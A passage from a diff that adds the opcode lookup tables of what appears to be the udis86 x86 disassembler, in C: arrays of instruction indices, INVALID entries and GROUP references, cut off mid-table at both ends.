908, + /* 2c */ INVALID, INVALID, 1443, 130, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ 901, 1388, 1307, 1292, + /* 54 */ 62, 66, 977, 1500, + /* 58 */ 28, 947, 146, 135, + /* 5c */ 1420, 819, 190, 803, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, GROUP(340), + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, GROUP(338), INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 113, INVALID, + /* c4 */ INVALID, INVALID, 1382, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__336[] = { + /* 0 */ 893, 897, +}; + +static const uint16_t ud_itab__337[] = { + /* 0 */ 883, 887, +}; + +static const uint16_t ud_itab__338[] = { + /* 0 */ GROUP(339), INVALID, +}; + +static const uint16_t ud_itab__339[] = { + /* 0 */ INVALID, INVALID, INVALID, 1401, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__340[] = { + /* 0 */ 1742, 1743, +}; + +static const uint16_t ud_itab__341[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ 933, 935, GROUP(342), 891, + /* 14 */ 1452, 1446, GROUP(343), 881, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ 859, 861, INVALID, 906, + /* 2c */ INVALID, INVALID, 1441, 128, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ 899, 1390, INVALID, INVALID, + /* 54 */ 60, 64, 975, 1498, + /* 58 */ 26, 945, 140, 144, + /* 5c */ 1418, 817, 188, 801, + /* 60 */ 1208, 1211, 1214, 986, + /* 64 */ 1037, 1040, 1043, 992, + /* 68 */ 1199, 1202, 1205, 989, + /* 6c */ 1548, 1546, GROUP(344), 1518, + /* 70 */ 1540, GROUP(345), GROUP(347), GROUP(349), + /* 74 */ 1029, 1032, 1035, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ 1550, 1554, GROUP(351), 1516, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 111, INVALID, + /* c4 */ 1061, 1054, 1380, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ 34, 1162, 1168, 1174, + /* d4 */ 1529, 1095, 919, GROUP(352), + /* d8 */ 1194, 1197, 1082, 1016, + /* dc */ 1011, 1014, 1077, 1019, + /* e0 */ 1022, 1149, 1155, 1025, + /* e4 */ 1089, 1091, 161, 903, + /* e8 */ 1188, 1191, 1079, 1117, + /* ec */ 1005, 1008, 1073, 1265, + /* f0 */ INVALID, GROUP(353), GROUP(354), GROUP(355), + /* f4 */ INVALID, 1071, 1132, GROUP(356), + /* f8 */ 1178, 1181, 1185, 1531, + /* fc */ 995, 999, 1002, INVALID, +}; + +static const uint16_t ud_itab__342[] = { + /* 0 */ 889, INVALID, +}; + +static const uint16_t ud_itab__343[] = { + /* 0 */ 879, INVALID, +}; + +static const uint16_t ud_itab__344[] = { + /* 0 */ 869, 871, 912, +}; + +static const uint16_t ud_itab__345[] = { + /* 0 */ INVALID, INVALID, 1164, INVALID, + /* 4 */ 1151, INVALID, GROUP(346), INVALID, +}; + +static const uint16_t ud_itab__346[] = { + /* 0 */ 1756, INVALID, +}; + +static const uint16_t ud_itab__347[] = { + /* 0 */ INVALID, INVALID, 1170, INVALID, + /* 4 */ 1158, INVALID, GROUP(348), INVALID, +}; + +static const uint16_t ud_itab__348[] = { + /* 0 */ 1758, INVALID, +}; + +static const uint16_t ud_itab__349[] = { + /* 0 */ INVALID, INVALID, 1176, 1544, + /* 4 */ INVALID, INVALID, GROUP(350), 1542, +}; + +static const uint16_t ud_itab__350[] = { + /* 0 */ 1760, INVALID, +}; + +static const uint16_t ud_itab__351[] = { + /* 0 */ 875, 877, 915, +}; + +static const uint16_t ud_itab__352[] = { + /* 0 */ 1085, INVALID, +}; + +static const uint16_t ud_itab__353[] = { + /* 0 */ 1755, INVALID, +}; + +static const uint16_t ud_itab__354[] = { + /* 0 */ 1757, INVALID, +}; + +static const uint16_t ud_itab__355[] = { + /* 0 */ 1759, INVALID, +}; + +static const uint16_t ud_itab__356[] = { + /* 0 */ INVALID, 1520, +}; + +static const uint16_t ud_itab__357[] = { + /* 0 */ 1584, 1587, 1590, 1593, + /* 4 */ 1596, 1599, 1602, 1605, + /* 8 */ 1608, 1614, 1611, 1617, + /* c */ GROUP(358), GROUP(359), GROUP(360), GROUP(361), + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ INVALID, INVALID, INVALID, 1712, + /* 18 */ GROUP(362), GROUP(363), INVALID, INVALID, + /* 1c */ 1575, 1578, 1581, INVALID, + /* 20 */ 1686, 1688, 1690, 1692, + /* 24 */ 1694, INVALID, INVALID, INVALID, + /* 28 */ 1623, 1709, 1682, 1684, + /* 2c */ GROUP(365), GROUP(366), GROUP(367), GROUP(368), + /* 30 */ 1697, 1699, 1701, 1703, + /* 34 */ 1705, 1707, INVALID, 1718, + /* 38 */ 1625, 1627, 1629, 1631, + /* 3c */ 1633, 1635, 1639, 1637, + /* 40 */ 1641, 1643, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, 46, + /* dc */ 42, 44, 38, 40, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__358[] = { + /* 0 */ 1737, INVALID, +}; + +static const uint16_t ud_itab__359[] = { + /* 0 */ 1735, INVALID, +}; + +static const uint16_t ud_itab__360[] = { + /* 0 */ 1740, INVALID, +}; + +static const uint16_t ud_itab__361[] = { + /* 0 */ 1741, INVALID, +}; + +static const uint16_t ud_itab__362[] = { + /* 0 */ 1727, INVALID, +}; + +static const uint16_t ud_itab__363[] = { + /* 0 */ GROUP(364), INVALID, +}; + +static const uint16_t ud_itab__364[] = { + /* 0 */ INVALID, 1728, +}; + +static const uint16_t ud_itab__365[] = { + /* 0 */ 1731, INVALID, +}; + +static const uint16_t ud_itab__366[] = { + /* 0 */ 1733, INVALID, +}; + +static const uint16_t ud_itab__367[] = { + /* 0 */ 1732, INVALID, +}; + +static const uint16_t ud_itab__368[] = { + /* 0 */ 1734, INVALID, +}; + +static const uint16_t ud_itab__369[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ GROUP(370), GROUP(371), GROUP(372), INVALID, + /* 8 */ 1645, 1647, 1649, 1651, + /* c */ 1655, 1653, 1678, 1620, + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ GROUP(374), 1057, GROUP(375), 202, + /* 18 */ GROUP(379), GROUP(381), INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ GROUP(383), 1558, GROUP(385), INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ 198, 196, 1680, INVALID, + /* 44 */ 1513, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, GROUP(391), GROUP(392), + /* 4c */ GROUP(393), INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ 1716, 1714, 1722, 1720, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, 48, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__370[] = { + /* 0 */ 1738, INVALID, +}; + +static const uint16_t ud_itab__371[] = { + /* 0 */ 1736, INVALID, +}; + +static const uint16_t ud_itab__372[] = { + /* 0 */ GROUP(373), INVALID, +}; + +static const uint16_t ud_itab__373[] = { + /* 0 */ INVALID, 1739, +}; + +static const uint16_t ud_itab__374[] = { + /* 0 */ 1046, INVALID, +}; + +static const uint16_t ud_itab__375[] = { + /* 0 */ GROUP(376), GROUP(377), GROUP(378), +}; + +static const uint16_t ud_itab__376[] = { + /* 0 */ 1048, INVALID, +}; + +static const uint16_t ud_itab__377[] = { + /* 0 */ 1050, INVALID, +}; + +static const uint16_t ud_itab__378[] = { + /* 0 */ INVALID, 1052, +}; + +static const uint16_t ud_itab__379[] = { + /* 0 */ GROUP(380), INVALID, +}; + +static const uint16_t ud_itab__380[] = { + /* 0 */ INVALID, 1730, +}; + +static const uint16_t ud_itab__381[] = { + /* 0 */ GROUP(382), INVALID, +}; + +static const uint16_t ud_itab__382[] = { + /* 0 */ INVALID, 1729, +}; + +static const uint16_t ud_itab__383[] = { + /* 0 */ GROUP(384), INVALID, +}; + +static const uint16_t ud_itab__384[] = { + /* 0 */ 1065, INVALID, +}; + +static const uint16_t ud_itab__385[] = { + /* 0 */ GROUP(386), GROUP(388), +}; + +static const uint16_t ud_itab__386[] = { + /* 0 */ GROUP(387), INVALID, +}; + +static const uint16_t ud_itab__387[] = { + /* 0 */ 1066, INVALID, +}; + +static const uint16_t ud_itab__388[] = { + /* 0 */ GROUP(389), GROUP(390), +}; + +static const uint16_t ud_itab__389[] = { + /* 0 */ 1067, INVALID, +}; + +static const uint16_t ud_itab__390[] = { + /* 0 */ 1068, INVALID, +}; + +static const uint16_t ud_itab__391[] = { + /* 0 */ 1745, INVALID, +}; + +static const uint16_t ud_itab__392[] = { + /* 0 */ 1744, INVALID, +}; + +static const uint16_t ud_itab__393[] = { + /* 0 */ 1754, INVALID, +}; + +static const uint16_t ud_itab__394[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ GROUP(395), GROUP(396), GROUP(397), INVALID, + /* 14 */ INVALID, INVALID, GROUP(398), INVALID, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, 155, INVALID, + /* 2c */ 169, 159, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, 1394, 1309, 1294, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ 32, 951, 157, 164, + /* 5c */ 1424, 823, 194, 807, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, 1523, + /* 70 */ 1536, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, 917, 1525, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 121, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, 133, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__395[] = { + /* 0 */ 1751, 1750, +}; + +static const uint16_t ud_itab__396[] = { + /* 0 */ 1753, 1752, +}; + +static const uint16_t ud_itab__397[] = { + /* 0 */ 1572, 1570, +}; + +static const uint16_t ud_itab__398[] = { + /* 0 */ 1568, 1566, +}; + +static const uint16_t ud_itab__399[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ GROUP(402), GROUP(400), GROUP(401), INVALID, + /* 14 */ INVALID, INVALID, INVALID, INVALID, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, 153, INVALID, + /* 2c */ 167, 149, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ INVALID, INVALID, INVALID, INVALID, + /* 44 */ INVALID, INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, 1392, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ 30, 949, 151, INVALID, + /* 5c */ 1422, 821, 192, 805, + /* 60 */ INVALID, INVALID, INVALID, INVALID, + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ 1538, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ 1552, 1556, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, 118, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ 36, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, INVALID, + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, 137, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ 1560, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__400[] = { + /* 0 */ 1749, 1748, +}; + +static const uint16_t ud_itab__401[] = { + /* 0 */ 1564, 1562, +}; + +static const uint16_t ud_itab__402[] = { + /* 0 */ 1747, 1746, +}; + +static const uint16_t ud_itab__403[] = { + /* 0 */ GROUP(404), GROUP(335), INVALID, INVALID, + /* 4 */ INVALID, GROUP(341), GROUP(357), GROUP(369), + /* 8 */ INVALID, GROUP(394), INVALID, INVALID, + /* c */ INVALID, GROUP(399), INVALID, INVALID, +}; + +static const uint16_t ud_itab__404[] = { + /* 0 */ 769, INVALID, +}; + +static const uint16_t ud_itab__405[] = { + /* 0 */ 826, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__406[] = { + /* 0 */ 827, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__407[] = { + /* 0 */ 715, INVALID, +}; + +static const uint16_t ud_itab__408[] = { + /* 0 */ 723, 724, 725, +}; + +static const uint16_t ud_itab__409[] = { + /* 0 */ 1280, 1285, 1269, 1273, + /* 4 */ 1326, 1333, 1320, 1314, +}; + +static const uint16_t ud_itab__410[] = { + /* 0 */ 1281, 1288, 1272, 1276, + /* 4 */ 1325, 1332, 1329, 1312, +}; + +static const uint16_t ud_itab__411[] = { + /* 0 */ 1282, 1289, 1270, 1277, + /* 4 */ 1324, 1331, 1321, 1316, +}; + +static const uint16_t ud_itab__412[] = { + /* 0 */ 1283, 1290, 1271, 1278, + /* 4 */ 1328, 1335, 1322, 1317, +}; + +static const uint16_t ud_itab__413[] = { + /* 0 */ 3, INVALID, +}; + +static const uint16_t ud_itab__414[] = { + /* 0 */ 2, INVALID, +}; + +static const uint16_t ud_itab__415[] = { + /* 0 */ 1311, INVALID, +}; + +static const uint16_t ud_itab__416[] = { + /* 0 */ GROUP(417), GROUP(418), +}; + +static const uint16_t ud_itab__417[] = { + /* 0 */ 206, 503, 307, 357, + /* 4 */ 587, 630, 387, 413, +}; + +static const uint16_t ud_itab__418[] = { + /* 0 */ 215, 216, 217, 218, + /* 4 */ 219, 220, 221, 222, + /* 8 */ 504, 505, 506, 507, + /* c */ 508, 509, 510, 511, + /* 10 */ 309, 310, 311, 312, + /* 14 */ 313, 314, 315, 316, + /* 18 */ 359, 360, 361, 362, + /* 1c */ 363, 364, 365, 366, + /* 20 */ 589, 590, 591, 592, + /* 24 */ 593, 594, 595, 596, + /* 28 */ 614, 615, 616, 617, + /* 2c */ 618, 619, 620, 621, + /* 30 */ 388, 389, 390, 391, + /* 34 */ 392, 393, 394, 395, + /* 38 */ 414, 415, 416, 417, + /* 3c */ 418, 419, 420, 421, +}; + +static const uint16_t ud_itab__419[] = { + /* 0 */ GROUP(420), GROUP(421), +}; + +static const uint16_t ud_itab__420[] = { + /* 0 */ 476, INVALID, 573, 540, + /* 4 */ 493, 492, 584, 583, +}; + +static const uint16_t ud_itab__421[] = { + /* 0 */ 477, 478, 479, 480, + /* 4 */ 481, 482, 483, 484, + /* 8 */ 658, 659, 660, 661, + /* c */ 662, 663, 664, 665, + /* 10 */ 522, INVALID, INVALID, INVALID, + /* 14 */ INVALID, INVALID, INVALID, INVALID, + /* 18 */ 549, 550, 551, 552, + /* 1c */ 553, 554, 555, 556, + /* 20 */ 233, 204, INVALID, INVALID, + /* 24 */ 639, 657, INVALID, INVALID, + /* 28 */ 485, 486, 487, 488, + /* 2c */ 489, 490, 491, INVALID, + /* 30 */ 203, 685, 529, 526, + /* 34 */ 684, 528, 377, 454, + /* 38 */ 527, 686, 537, 536, + /* 3c */ 530, 534, 535, 376, +}; + +static const uint16_t ud_itab__422[] = { + /* 0 */ GROUP(423), GROUP(424), +}; + +static const uint16_t ud_itab__423[] = { + /* 0 */ 456, 520, 448, 450, + /* 4 */ 462, 464, 460, 458, +}; + +static const uint16_t ud_itab__424[] = { + /* 0 */ 235, 236, 237, 238, + /* 4 */ 239, 240, 241, 242, + /* 8 */ 243, 244, 245, 246, + /* c */ 247, 248, 249, 250, + /* 10 */ 251, 252, 253, 254, + /* 14 */ 255, 256, 257, 258, + /* 18 */ 259, 260, 261, 262, + /* 1c */ 263, 264, 